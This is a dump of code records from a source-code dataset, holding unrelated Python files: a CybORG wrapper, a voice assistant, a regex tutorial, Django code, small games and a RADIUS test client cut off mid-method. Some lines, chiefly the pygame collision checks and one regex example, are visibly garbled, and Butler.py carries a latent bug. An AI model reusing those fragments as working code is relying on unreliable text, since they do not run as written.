return flat_obj\n\n def _flatten_attrs(self, data, cache, attrs):\n flat_attrs = []\n\n return flat_attrs\n\nclass String(Data):\n def __init__(self, key, divisor = None):\n super().__init__(key)\n self.divisor = 1.0 if divisor is None else divisor\n\n def _flatten(self, data, cache):\n if self.key not in data:\n return -1.0\n\n if self.key not in cache:\n cache[self.key] = {}\n\n _cache = cache[self.key]\n element = data[self.key]\n\n if element not in _cache:\n _cache[element] = len(_cache)\n\n value = _cache[element]\n\n return (float(value) / self.divisor)\n\nclass Float(Data):\n def __init__(self, key, divisor = 1.0):\n super().__init__(key)\n self.divisor = divisor\n\n def _flatten(self, data, cache):\n if self.key not in data:\n return -1.0\n return (float(int(data[self.key])) / self.divisor)\n\nclass Enum(Data):\n def __init__(self, key, enum):\n super().__init__(key)\n self.enum = enum\n self.divisor = len(enum.__members__)\n\n def _flatten(self, data, cache):\n if self.key not in data:\n return -1.0\n\n element = data[self.key]\n if element != -1:\n element = element.value / self.divisor\n\n return float(element)\n\nclass EnumArray(Enum):\n def __init__(self, key, enum, size):\n super().__init__(key, enum)\n self.size = size\n\n def _flatten(self, data, cache):\n if self.key not in data:\n return [ -1.0 for _ in range(self.size) ]\n\n elements = self.fill(data[self.key], self.size, -1.0)\n\n flat_data = []\n for element in elements:\n if element != -1:\n element = element.value / self.divisor\n flat_data.append(float(element))\n return flat_data\n\nclass Time(Data):\n def __init__(self, key, reference_datetime = None):\n super().__init__(key)\n\n if reference_datetime is None:\n self.reference = datetime(2020, 1, 1)\n else:\n self.reference = reference_datetime\n\n def _flatten(self, data, cache):\n if self.key not in data:\n return -1.0\n return float((data[self.key] - self.reference).total_seconds())\n\nclass Subnet(Data):\n def __init__(self, key):\n super().__init__(key)\n\n def _flatten(self, data, cache):\n if self.key not in data:\n return [ -1.0, -1.0 ]\n subnet = data[self.key]\n return [ float(int(subnet.network_address))/4294967296,\n float(int(subnet.prefixlen))/4294967296 ]\n","sub_path":"CybORG/CybORG/Agents/Wrappers/FixedFlatWrapper.py","file_name":"FixedFlatWrapper.py","file_ext":"py","file_size_in_byte":10507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"92457270","text":" # * author : Philippe Vo \n # * date : Sep-28-2019 22:00:11\n\n# * Imports\n# 3rd Party Imports\nimport datetime\nfrom gtts import gTTS # text to speech\nimport os\nimport time\n# User Imports\nfrom Weather import Weather\nfrom Schedule import Schedule\nfrom Timer import Timer\nfrom Screenshot import Screenshot\n\n# * Code\nclass Butler():\n \"\"\"\n - greets \n - different greets depend on the time of day\n - morning = after 6am and before 12pm\n - afternoon = after 12pm and before 6pm\n - night = after 6pm and before 6am\n - tells the current time\n - manages weather info\n \"\"\"\n def __init__(self):\n \"\"\" init the variables \"\"\"\n # Greetings\n self.greeting = \"Hey there Sifu Nam !\"\n self.masterName = \"Sifu Nam\"\n\n # Datetime\n datetimeInfo = datetime.datetime.now()\n self.date = datetimeInfo.strftime(\"%A, %B %d %Y\")\n self.time = datetimeInfo.strftime(\"%X\")\n self.hour = int(datetimeInfo.hour)\n\n # Weather Info\n weatherController = Weather()\n self.weatherInfo = weatherController.get_weather_data()\n self.clothingInfo = weatherController.get_clothing_data()\n self.generalWeatherStatus = weatherController.get_weather_status()\n\n # Schedule Info\n scheduleController = Schedule()\n self.timeToLeave = scheduleController.hourBLH + \" hours\" + \" and \" + scheduleController.mBLH + \" mins\"\n\n def report(self): \n \"\"\" report status of day \"\"\"\n # Report\n self.text_to_speech(self.generate_greeting(), False)\n self.text_to_speech(\"Today is \" + self.date, False)\n self.text_to_speech(\"The current time is \" + self.time, False)\n self.text_to_speech(self.process_weather_info(), False)\n print(\"\\n\")\n self.text_to_speech(\"You have \" + self.timeToLeave + \" before leaving the house\", False)\n\n def generate_greeting(self) :\n \"\"\" generates a greeting based on time \"\"\"\n # time process\n if self.hour > 6 and self.hour <= 12 :\n greetingWord = \"Good Morning \"\n elif self.hour > 12 and self.hour <= 18 :\n greetingWord = \"Afternoon there \"\n else :\n greetingWord = \"Lovely Night there \" \n\n self.greeting = greetingWord + self.masterName\n\n return self.greeting\n\n def text_to_speech(self, text, talkFlag):\n \"\"\" converts the text into speech and speaks it \"\"\"\n # prints the speech\n print(text)\n \n if talkFlag:\n # define variables\n file = \"file.mp3\"\n\n # initialize tts, create mp3 and play\n tts = gTTS(text, 'en')\n tts.save(file)\n os.system(\"mpg123 \" + file + \" >/dev/null 2>&1\") # >dev/null... it is to supress the output string from the command \n else:\n time.sleep(0.35)\n\n def process_weather_info(self):\n \"\"\" get weather and tells what is needed for the day \"\"\"\n # Weather info\n weatherInfoStr = \"\"\"\n the Weather of Today :\n current temperature is {currentTemp} degrees\n maximum temperature is {maxTemp} degrees\n minimum temperature is {minTemp} degrees\n\n \"\"\".format(currentTemp=self.weatherInfo[1], maxTemp = self.weatherInfo[0], minTemp = self.weatherInfo[2])\n\n # Clothing Status\n if self.clothingInfo[2] == True :\n clothingInfoStr = \"you should wear a coat today, its freezing outside\"\n elif self.clothingInfo[1] == True :\n clothingInfoStr = \"you should wear a jacket today, its cold outside\"\n elif self.clothingInfo[0] == True :\n clothingInfoStr = \"you should wear a sweater today, its chilly outside\"\n else :\n clothingInfoStr = \"today's weather looks great, t-shirt should be fine\"\n\n if self.clothingInfo[3] == True :\n umbrellaStr = \"\\tmaybe you should take your umbrella with you, it is probably going to rain\"\n\n return weatherInfoStr + clothingInfoStr + \"\\n\" + umbrellaStr\n\n def run_timer(self, mode, timeType, endTime):\n \"\"\" runs the timer and speaks the message at the end \"\"\"\n self.text_to_speech(\"You needed a timer Sifu Nam ?\")\n self.text_to_speech(\"Please press on ENTER to begin the timer\")\n timer = Timer()\n printOut , message = timer.run_timer(mode, timeType, endTime)\n # sound alarm and speak the message \n os.system(\"mpg123 \" + \" /home/namv/Documents/Personal_Projects/Personal_Board/alarm.mp3 \" + \" >/dev/null 2>&1\") # >dev/null... it is to supress the output string from the command \n self.text_to_speech(printOut)\n self.text_to_speech(message)\n\n def grab_screen(self):\n \"\"\" takes a screenshot and return the markdown string in the system clipboard \"\"\"\n print(\"May I take a Screenshot for you Sifu ?\")\n screengrab = Screenshot()\n screengrab.grab_screen()","sub_path":"code/Butler.py","file_name":"Butler.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"321745542","text":"import re\n\n\"\"\"\n| 匹配多个分组\n? 表明前面的分组是可选的,或者非贪心匹配\n* 匹配0次或多次\n+ 匹配1次或多次\n{n} 匹配n次前面的分组\n{n,} 匹配n次或更多前面的分组\n{,m} 匹配0次到m次前面分组\n{n,m} 匹配至少n次、至多m次前面的分组\n{n,m}? 或*?或+?对前面的分组进行非贪心匹配\n^spam 表示字符串必须以spam开始\nspam$ 表示字符串必须以spam结束\n[abc] 匹配方括号内的任意字符(比如a、b或c)\n[^abc] 匹配不在方括号内的任意字符\n. 表示只匹配一个字符\n.* 表示所有文本\n\\d 0-9的任何数字\n\\D 除0-9的数字以外的任何字符\n\\w 任何字母、数字或下划线字符(可以认为是匹配单字字符)\n\\W 除字母、数字和下划线以外的任何字符\n\\s 空格、制表符或换行符(可以认为是匹配“空白”字符)\n\\S 除空格、制表符和换行符以外的任何字符\n\"\"\"\n\n#匹配一个内容\nphoneNumRegex=re.compile(r'\\d\\d\\d-\\d\\d\\d-\\d\\d\\d\\d')\nmo=phoneNumRegex.search('My number is 415-555-4242')\nprint('Phone number found:'+mo.group())\nprint('1*'*20)\n\n#分组匹配\nphoneNumRegex=re.compile(r'(\\d\\d\\d)-(\\d\\d\\d)-(\\d\\d\\d\\d)')#这里是重点\nmo=phoneNumRegex.search('My number is 415-555-4242')\nprint('Phone number found:'+mo.group(1))\nprint('Phone number found:'+mo.group(0))#方法传入0或者不传入,将返回整个匹配的文本\nprint('Phone number found:',mo.groups())#一次性获取所有分组\nprint('2*'*20)\n\n#程序中多数表示的非贪心匹配,用?号可以表示非贪心匹配\ngreedyHaRegex=re.compile(r'(Ha){3,5}')\nmo1=greedyHaRegex.search('HaHaHaHaHa')\nprint(mo1.group())\ngreedyHaRegex=re.compile(r'(Ha){3,5}?')\nmo2=greedyHaRegex.search('HaHaHaHaHa')\nprint(mo2.group())\nprint('3*'*20)\n\n#findall()方法返回一个列表\nphoneNumRegex=re.compile(r'(\\d\\d\\d)-(\\d\\d\\d)-(\\d\\d\\d\\d)')\nmo=phoneNumRegex.findall('Cell: 415-555-4242,Work:212-555-0000')\nprint(mo)#要取得415这个数字,可以输入mo[0][0]\nprint('4*'*20)\n\n#自定义字符分类,用方括号定义\nvowelRegex=re.compile(r'[aeiouAEIOU]')#在[a的中间加上^即[^a,可以匹配方括号以外的字符\nmo=vowelRegex.findall('RoboCop eats baby food. BABY FOOD.')\nprint(mo)\nprint('5*'*20)\n\n#^表示以这个符号后面的内容开始匹配\na=re.compile(r'^hello')\ns1=a.findall('hello world')\ns2=a.findall('no hello world')\nprint(s1,s2)#s2是没有匹配到内容的\nprint('6*'*20)\n\n#$符号的应用\na=re.compile(r'hello$')\ns1=a.findall('this is end with hello')\ns2=a.findall('hello world is end with no')\nprint(s1,s2)#s2是没有匹配到内容的\nprint('7*'*20)\n\n#.*?非贪心模式的区别\na=re.compile(r'<.*?>')#去掉问号会得到不同的结果\nmo=a.search('dfasdf>')\nprint(mo.group())\nprint('8*'*20)\n\n#re.DOTALL作为第二参数,会匹配所所有的字符。不加这个为第二个参数,只匹配到换行符的位置\nlineRegex=re.compile('.*',re.DOTALL)#去掉re.DOTALL后只匹配到\\n前面的内容\nmo=lineRegex.search('Serve the public trust.\\nProtect the innocent')\nprint(mo.group())\nprint('9*'*20)\n\n#re.IGNORECASE或re.I作为第二参数,表示不区分大小写\nlineRegex=re.compile('robocop',re.I)\nmo=lineRegex.search('Robocop is part man.')\nprint(mo.group())\nprint('10*'*20)\n\n#sub()方法替换字符串,第一个参数为字符串,第二个参数匹配的内容\nnameRegex=re.compile(r'Agent \\w+')\nmo=nameRegex.sub('CENSORED','Agent Alice gave the secret documents to Agent Bob.')#sub()返回值为替换完成的字符串\nprint(mo)\nprint('11*'*20)\n\n#re.VERBOSE作为第二参数,表示忽略正则表达中的空白符和注释\nphoneRegex=re.compile(r'''(\n (\\d{3}|\\(\\d{3}\\))?\n #area code\n (\\s|-|\\.)?\n #separator\n \\d{3}\n #first 3 digits\n (\\s|-|\\.)\n #separator\n \\d{4}\n #last 4 digits\n (\\s*(ext|x|ext.) \\s*\\d{2,5})?\n #extension\n )''',re.VERBOSE)\nprint('12*'*20)\n\n#组合使用re.IGNORECASE、re.DOTALL和re.VERBOSE\nsomeRegexValue=re.compile('foo',re.IGNORECASE|re.DOTALL|re.VERBOSE)\nprint('13*'*20)\n","sub_path":"正则表达式.py","file_name":"正则表达式.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"367556212","text":"import socket\nimport netifaces as ni\n\n\ndef getHostName():\n try:\n host_name = socket.gethostname()\n host_ip = socket.gethostbyname(host_name)\n\n print(host_name)\n print(host_ip)\n\n print(\"hi\")\n ni.ifaddresses('eth0')\n print(\"something\")\n ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']\n print(ip)\n except:\n print(\"cant get\")\n\n\ngetHostName()\n","sub_path":"proj/rpi_capture.py","file_name":"rpi_capture.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"396339391","text":"from django.db import migrations\nimport datetime\n\n\ndef initial_data(apps, schema_editor):\n Event = apps.get_model(\"events\", \"Event\")\n EventLocation = apps.get_model(\"events\", \"EventLocation\")\n event_location = EventLocation.objects.create(\n title=\"Giles Motors\",\n street=\"202 S. Sterling St.\",\n city=\"Morganton\",\n state=\"NC\",\n postal=\"28655\",\n latitude=\"35.7442\",\n longitude=\"-81.68685\",\n )\n Event.objects.create(\n title=\"First Show\",\n datetime=datetime.datetime(2019, 4, 13, 18, 30),\n location=event_location,\n )\n Event.objects.create(\n title=\"Second Show\",\n datetime=datetime.datetime(2019, 10, 13, 18, 30),\n location=event_location,\n )\n Event.objects.create(\n title=\"Third Show\",\n datetime=datetime.datetime(2020, 4, 13, 18, 30),\n location=event_location,\n )\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [(\"events\", \"0001_initial\")]\n\n operations = [migrations.RunPython(initial_data)]\n","sub_path":"events/migrations/0002_initial_data.py","file_name":"0002_initial_data.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"408230455","text":"from .profile import increase_follower_num\nfrom .profile import increase_following_num\nfrom .profile import decrease_follower_num\nfrom .profile import decrease_following_num\n\nfrom os.path import exists\nimport json\n\n\n\npath = \"D:\\\\darak\\\\follow\"\nif not exists(path):\n _follow = {}\nelse:\n f = open(path)\n _follow = json.load(f)\n\n# FOLLOW 데이터베이스 구조\n\"\"\"\n'FOLLOW':\n{\n 'uid':\n {\n 'follower':\n {\n 'follower_uid': 'timestamp',\n ...\n },\n 'following':\n {\n 'following_uid': 'timestamp',\n ...\n },\n },\n ...\n}\n\"\"\"\n\ndef get_all_follow_info():\n \"\"\"\n 모든 유저의 FOLLOW DB 내 팔로잉, 팔로워 리스트의 relation id를 얻는 함수\n \"\"\"\n return _follow\n\ndef get_user_follow_info(uid):\n \"\"\"\n 해당 유저의 FOLLOW DB 내 팔로잉, 팔로워 relation id 리스트를 얻는 함수\n\n uid(int) : 유저의 uid\n \"\"\"\n return _follow[str(uid)]\n\n# 팔로잉 목록\ndef get_user_following_uid_list(uid):\n \"\"\"\n 해당 유저가 팔로우하는 유저들의 uid 목록 리스트를 받는 함수\n\n uid(int) : 팔로잉 목록을 찾고자 하는 유저의 uid\n \"\"\"\n if str(uid) in _follow and 'following' in _follow[str(uid)]:\n return list(_follow[str(uid)]['following'].keys())\n else:\n return []\n\n# 팔로워 목록\ndef get_user_follower_uid_list(uid):\n \"\"\"\n 해당 유저를 팔로우하는 유저들의 uid 목록 리스트를 받는 함수\n\n uid(int) : 팔로워 목록을 찾고자 하는 유저의 uid\n \"\"\"\n if str(uid) in _follow and 'follower' in _follow[str(uid)]:\n return list(_follow[str(uid)]['follower'].keys())\n else:\n return []\n\ndef add_user_in_following_list(list_host_uid, list_add_uid, timestamp):\n \"\"\"\n 팔로잉 관계 형성 시 host 유저의 팔로잉 목록에 add 유저를 넣는 함수\n\n list_host_uid(int) : 목록 소유자의 uid\n list_add_uid(int) : 목록에 추가할 유저의 uid\n timestamp(str) : 팔로우 관계 형성 시각\n \"\"\"\n\n if str(list_host_uid) not in _follow:\n _follow[str(list_host_uid)] = {}\n if 'following' not in _follow[str(list_host_uid)]:\n _follow[str(list_host_uid)]['following'] = {}\n\n # 이미 from이 to를 팔로잉하고 있다면 False 출력\n if str(list_add_uid) in _follow[str(list_host_uid)]['following']:\n print(str(list_host_uid) + \" user already following \" + str(list_add_uid) + \" user.\")\n return False\n else:\n # from이 to를 팔로우하고 있지 않다면 데이터 입력\n _follow[str(list_host_uid)]['following'][str(list_add_uid)] = timestamp\n # 유저가 추가된 목록의 유저의 팔로잉 수 증가\n increase_following_num(list_host_uid)\n return True\n\ndef add_user_in_follower_list(list_host_uid, list_add_uid, timestamp):\n \"\"\"\n 팔로잉 관계 형성 시 host 유저의 팔로워 목록에 add 유저를 넣는 함수\n\n list_host_uid(int) : 목록 소유자의 uid\n list_add_uid(int) : 목록에 추가할 유저의 uid\n timestamp(str) : 팔로우 관계 형성 시각\n \"\"\"\n if str(list_host_uid) not in _follow:\n _follow[str(list_host_uid)] = {}\n if 'follower' not in _follow[str(list_host_uid)]:\n _follow[str(list_host_uid)]['follower'] = {}\n\n # 이미 from이 to를 팔로잉하고 있다면 False 출력\n if str(list_add_uid) in _follow[str(list_host_uid)]['follower']:\n print(str(list_host_uid) + \" user already follower \" + str(list_add_uid) + \" user.\")\n return False\n else:\n # from이 to를 팔로우하고 있지 않다면 데이터 입력\n _follow[str(list_host_uid)]['follower'][str(list_add_uid)] = timestamp\n # 유저가 추가된 목록의 유저의 팔로잉 수 증가\n increase_follower_num(list_host_uid)\n return True\n\n\ndef delete_user_in_following_list(list_host_uid, list_delete_uid):\n \"\"\"\n 언팔로우 시 host 유저의 팔로워 목록에서 delete 유저를 지우는 함수\n\n list_host_uid(int) : 목록 소유자의 uid\n list_delete_uid(int) : 목록에서 삭제할 유저의 uid\n \"\"\"\n if is_following(list_host_uid, list_delete_uid):\n del _follow[str(list_host_uid)]['following'][str(list_delete_uid)]\n decrease_following_num(list_host_uid)\n return True\n else:\n return False\n\ndef delete_user_in_follower_list(list_host_uid, list_delete_uid):\n \"\"\"\n 언팔로우 시 host 유저의 팔로워 목록에서 delete 유저를 지우는 함수\n\n list_host_uid(int) : 목록 소유자의 uid\n list_delete_uid(int) : 목록에서 삭제할 유저의 uid\n \"\"\"\n if is_follower(list_host_uid, list_delete_uid):\n del _follow[str(list_host_uid)]['follower'][str(list_delete_uid)]\n decrease_follower_num(list_host_uid)\n return True\n else:\n return False\n\ndef is_following(from_uid, to_uid):\n \"\"\"\n from user가 to user를 팔로잉하고 있는지 알려주는 함수\n\n from_uid(int) : 팔로우 상태를 알고자 하는 유저의 uid\n to_uid(int) : 팔로우하고 있는지 알기 위한 유저의 uid\n \"\"\"\n if str(from_uid) in _follow and 'following' in _follow[str(from_uid)] and str(to_uid) in _follow[str(from_uid)]['following']:\n return True\n else:\n return False\n\ndef is_follower(from_uid, to_uid):\n if str(from_uid) in _follow and 'follower' in _follow[str(from_uid)] and str(to_uid) in _follow[str(from_uid)]['follower']:\n return True\n else:\n return False\n\n# 팔로우\ndef follow_user(from_uid, to_uid, timestamp):\n \"\"\"\n from user가 to user를 팔로우할 때의 DB 데이터를 설정하는 함수\n\n 팔로잉 정보를 생성하는 단계는 다음과 같다.\n - from user의 팔로잉 목록에 to user 정보를 넣는다.\n - from user의 팔로잉 수를 1 증가시킨다.\n - to user의 팔로워 목록에 from user 정보를 넣는다.\n - to user의 팔로워 수를 1 증가시킨다.\n\n from_uid(int) : 팔로우를 하는 유저의 uid\n to_uid(int) : 팔로우를 당하는 ��저의 uid\n timestamp(str) : 팔로우 관계 형성 시각\n \"\"\"\n # 자기 자신을 팔로우하는 경우 False 반환\n if from_uid == to_uid:\n return False\n\n # 각 유저의 팔로잉, 팔로워 리스트에 상대방을 추가\n following_status = add_user_in_following_list(from_uid, to_uid, timestamp)\n follower_status = add_user_in_follower_list(to_uid, from_uid, timestamp)\n \n # 팔로잉, 팔로워 목록 중 하나라도 갱신에 오류가 생겼다면 취소, False 반환\n if (following_status is False) or (follower_status is False):\n delete_user_in_following_list(from_uid, to_uid)\n delete_user_in_follower_list(to_uid, from_uid)\n print(\"Follow Error\")\n return False\n\n # 정상적으로 팔로우 과정이 진행됐다면 True 반환\n print(\"Follow (\" + str(from_uid) + \" -> \" + str(to_uid) + \")\")\n return True\n\n# 언팔로우\ndef unfollow_user(from_uid, to_uid):\n \"\"\"\n from user가 to user를 언팔로우할 때의 DB 데이터를 설정하는 함수\n\n 팔로잉 정보를 삭제하는 단계는 다음과 같다.\n - from user의 팔로잉 목록에 to user 정보를 지운다.\n - from user의 팔로잉 수를 1 감소시킨다.\n - to user의 팔로워 목록에 from user 정보를 지운다.\n - to user의 팔로워 수를 1 감소시킨다.\n\n from_uid(int) : 기존에 팔로우를 한 유저의 uid\n to_uid(int) : 기존에 팔로우를 당한 유저의 uid\n timestamp(str) : 팔로우 관계 형성 시각\n \"\"\"\n # 각 유저의 팔로잉, 팔로워 리스트에 상대방을 삭제\n following_status = delete_user_in_following_list(from_uid, to_uid)\n follower_status = delete_user_in_follower_list(to_uid, from_uid)\n\n if following_status and follower_status:\n print(\"Unfollow (\" + str(from_uid) + \" -> \" + str(to_uid) + \")\")\n return True\n else:\n print(\"UnFollow Error\")\n return False\n\n# 회원탈퇴 시 유저의 팔로우 정보 삭제\ndef delete_user_follow_info(uid):\n \"\"\"\n 해당 유저의 FOLLOW DB 내 팔로잉, 팔로워 relation id 리스트를 얻는 함수\n\n uid(int) : 유저의 uid\n \"\"\"\n following_list = get_user_following_uid_list(uid)\n follower_list = get_user_follower_uid_list(uid)\n\n # 팔로잉 리스트의 모든 유저를 언팔로우\n for following_user in following_list:\n unfollow_user(uid, int(following_user))\n \n # 팔로우 리스트의 모든 유저가 해당 유저를 언팔로우\n for follower_user in follower_list:\n unfollow_user(int(follower_user), uid)\n \n # Document 상에 마저 남은 해당 유저의 구조 삭제 \n del _follow[str(uid)]\n print(\"All follow information of user \" + str(uid) + \" is deleted.\")\n\ndef save():\n f = open(path, 'w')\n f.write(str(_follow).replace('\\'', '\\\"'))","sub_path":"DBctrl/follow.py","file_name":"follow.py","file_ext":"py","file_size_in_byte":9038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"65967708","text":"#-*-coding:utf-8-#-\nimport pygame\nimport random\nfrom sys import exit\n\ndef checkhit(enemy,bullet):\n if(bullet.x>enemy.x and bullet.xenemy.y and bullet.yenemy.x)and(plane.x+0.3*plane.image.get_width()enemy.y)and(plane.y+0.3*plane.image.get_height() effect...\n time.sleep(0.25)\n self.parent.parent.rotation += 90\n \"\"\"\n\n if self.IS_DEBUG_ENABLE:\n print(f\"DEBUG - update: speed_factor={round(speed_factor, 2)} - dt={round(dt, 2)} \")\n print(f\"DEBUG - update: game_over={self.state_game_over} - 1/SPEED_FPS={round(1 / self.SPEED_FPS, 2)}\")\n self.debug_dt.append(dt)\n self.debug_speed_factor.append(speed_factor)\n\n\n \"\"\" ON GAME OVER \"\"\"\n\n def on_game_over(self):\n self.audio_impact.play()\n time.sleep(1.0)\n self.audio_gameover.play()\n self.state_game_over = True\n message_game_over = \"GAME OVER\"\n print(f\"on_game_over: {message_game_over} - SCORE: {self.score_game}\")\n self.label_menu_message = message_game_over\n self.label_button_message = \"RESTART\"\n print(f\"on_game_over -> reset_board_game() called\")\n self.reset_board_game()\n\n\n \"\"\" MENU - START BUTTON \"\"\"\n\n def on_start_button(self):\n self.menu_start.opacity = 0 # menu invisible\n self.menu_button_state = True # menu button disabled\n self.opacity = 1 # board game visible\n self.score_game = 0\n # rebuild the board game\n for e in self.canvas.children:\n if type(e) is Color:\n e.rgba = (1,1,1,1)\n if type(e) is Quad:\n e.points = [0, 0, 0, 0, 0, 0, 0, 0]\n self.init_tiles()\n self.init_ship()\n self.update_ship()\n # play voice begin or restart\n if self.state_game_over:\n self.audio_restart.play()\n else:\n self.audio_begin.play()\n time.sleep(0.5)\n # resume the states for starting\n self.state_game_over = False\n self.state_game_start = True\n\n\n \"\"\" RESET BOARD GAME \"\"\"\n\n def reset_board_game(self):\n # menu setup\n self.menu_start.opacity = 1 # menu visible\n self.menu_button_state = False # menu button enabled\n # reset variables\n self.speed_touch = 0\n self.current_offset_y = 0\n self.current_offset_x = 0\n # hide all remaining quads in memory\n self.ship.points = [0, 0, 0, 0, 0, 0]\n for e in self.canvas.children:\n if type(e) is Color:\n e.rgba = (1,1,1,0.2)\n if type(e) is Triangle:\n e.points = [0, 0, 0, 0, 0, 0]\n \"\"\" \n if type(e) is Quad:\n e.points = [0, 0, 0, 0, 0, 0, 0, 0]\n \"\"\"\n\n# GALAXY APP\nclass GalaxyApp(App):\n pass\n\n\n# MAIN\nif __name__ == '__main__':\n GalaxyApp().run()\n","sub_path":"Kivy Galaxy (projet)/My-Kivy-galaxy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"442207874","text":"# https://www.codewars.com/kata/55c28f7304e3eaebef0000da\n\n# Oh no, Timmy's created an infinite loop! Help Timmy find and fix the bug in his unfinished For Loop!\n\ndef create_array(n):\n res=[]\n i=1\n while i<=n:\n res+=[i]\n i += 1\n return res","sub_path":"python/unfinished_loop_debug.py","file_name":"unfinished_loop_debug.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"77141841","text":"from setuptools import setup, find_packages\n\n\nVERSION = '0.0.2'\n\nsetup(\n name='vigipy',\n version=VERSION,\n description='Python wrapper for the vigilante-rest API.',\n author='Victor Villas',\n author_email='villasv@outlook.com',\n license='MIT',\n url='https://github.com/VigilantePolitico/vigipy',\n packages=find_packages(),\n include_package_data=True,\n long_description=open('README.rst').read(),\n classifiers=[\n \"License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)\",\n \"Programming Language :: Python :: 3.5\"\n ],\n install_requires=open(\"requirements.txt\").read()\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"267027581","text":"from django.urls import path\n\nfrom .views import (\n discussion_list_view,\n discussion_details_view,\n discussion_create_view,\n discussion_update_view,\n discussion_delete_view,\n\n answer_upvote_view,\n answer_downvote_view,\n answer_submit_view,\n answer_update_view,\n answer_delete_view,\n)\n\nurlpatterns = [\n path('', discussion_list_view, name=\"discussion-list\"),\n path('/', discussion_details_view, name=\"discussion-details\"),\n path('/upvote', answer_upvote_view, name='answer-upvote'),\n path('/downvote', answer_downvote_view, name='answer-downvote'),\n path('create', discussion_create_view, name='discussion-create'),\n path('/update', discussion_update_view, name='discussion-update'),\n path('/delete', discussion_delete_view, name='discussion-delete'),\n\n\n path('/submit_answer', answer_submit_view, name='submit-answer'),\n path('/edit', answer_update_view, name='answer-update'),\n path('/delete', answer_delete_view, name='answer-delete')\n\n]\n","sub_path":"Kredence/forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"251374181","text":"#coding:utf-8\nimport sys\nfrom gevent import monkey\nmonkey.patch_all()\nfrom PyQt4 import QtCore, QtGui,uic\n# from PyQt4.QtCore import QSettings,QVariant\n\nfrom gevent import socket\nfrom pyrad import packet,tools\nfrom pyrad.dictionary import Dictionary\nfrom pyrad.packet import AuthPacket\nfrom pyrad.packet import AccessRequest\nimport time\nimport hashlib\nimport six\nimport gevent\nimport binascii\nimport pprint\nimport uuid\nimport random\n\nmd5_constructor = hashlib.md5\n\nstatus_vars = {'start':1,'stop':2,'update':3,'on':7,'off':8}\n\nrandom_sleeps = (0.01,0.02,0.03,0.04,0.05,0.5,0.6,0.7,0.8,0.0,1,2,3,4,5)\n\nclass AuthPacket2(AuthPacket):\n def __init__(self, code=AccessRequest, id=None, secret=six.b(''),\n authenticator=None, **attributes):\n AuthPacket.__init__(self, code, id, secret, authenticator, **attributes) \n\n def ChapEcrypt(self,password):\n if not self.authenticator:\n self.authenticator = self.CreateAuthenticator()\n if not self.id:\n self.id = self.CreateID()\n if isinstance(password, six.text_type):\n password = password.strip().encode('utf-8')\n\n chapid = self.authenticator[0]\n self['CHAP-Challenge'] = self.authenticator\n return '%s%s' % (chapid,md5_constructor(\"%s%s%s\"%(chapid,password,self.authenticator)).digest())\n\n\napp_running = True\n\napp = QtGui.QApplication(sys.argv)\nform_class, base_class = uic.loadUiType('tester.ui')\nQtGui.QApplication.setStyle(QtGui.QStyleFactory.create(\"Cleanlooks\"))\n\ndef mainloop(app):\n while app_running:\n app.processEvents()\n while app.hasPendingEvents():\n app.processEvents()\n gevent.sleep()\n gevent.sleep()\n\n\nclass TesterWin(QtGui.QMainWindow,form_class):\n def __init__(self, *args):\n super(TesterWin, self).__init__(*args)\n self.running = False\n self.random_running = False\n self.testusers = {}\n self.setupUi(self)\n self.dict=Dictionary(\"./dict/dictionary\")\n self.init_client()\n self.init_random_client()\n self.init_testusers()\n \n def init_testusers(self):\n with open(\"testusers.txt\") as ufs:\n for line in ufs:\n if not line or not line.strip():\n continue\n _props = line.split(\",\")\n _user = dict(user_name=_props[0].strip(),passwd=_props[1].strip())\n self.testusers[_props[0]] = _user\n\n\n def init_client(self):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.sock.setsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF,8192000)\n self.sock.settimeout(self.timeout.value()) \n\n def init_random_client(self):\n self.rsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.rsock.setsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF,8192000)\n self.rsock.settimeout(self.timeout.value()) \n\n\n @property\n def server(self):\n return self.server_addr.text()\n\n @property\n def authport(self):\n return int(self.auth_port.text() or 1812)\n\n @property\n def acctport(self):\n return int(self.acct_port.text() or 1813)\n @property\n def authsecret(self):\n return six.b(str(self.auth_secret.text() or 'secret'))\n \n @property\n def acctsecret(self):\n return six.b(str(self.acct_secret.text() or 'secret'))\n\n def encode_attr(self,key,val):\n if self.dict.has_key(key):\n typ = self.dict[key].type\n if typ == 'integer' or typ == 'date':\n val = int(val)\n else:\n val = str(val)\n return val \n else:\n self.logger(\"unknow attr %s\"%key) \n\n def decode_attr(self,key,value):\n if self.dict.has_key(key):\n typ = self.dict[key].type\n if typ == 'string':\n return value\n return value\n else:\n self.logger(\"unknow attr %s\"%key) \n\n def logger(self,msg):\n self.log_view.append(msg)\n \n def log_packet(self,pkt):\n # self.logger(repr(pkt))\n attr_keys = pkt.keys()\n self.logger(\"\\nRadius Packet:\")\n self.logger(\"id:%s\" % pkt.id)\n self.logger(\"code:%s\" % pkt.code)\n 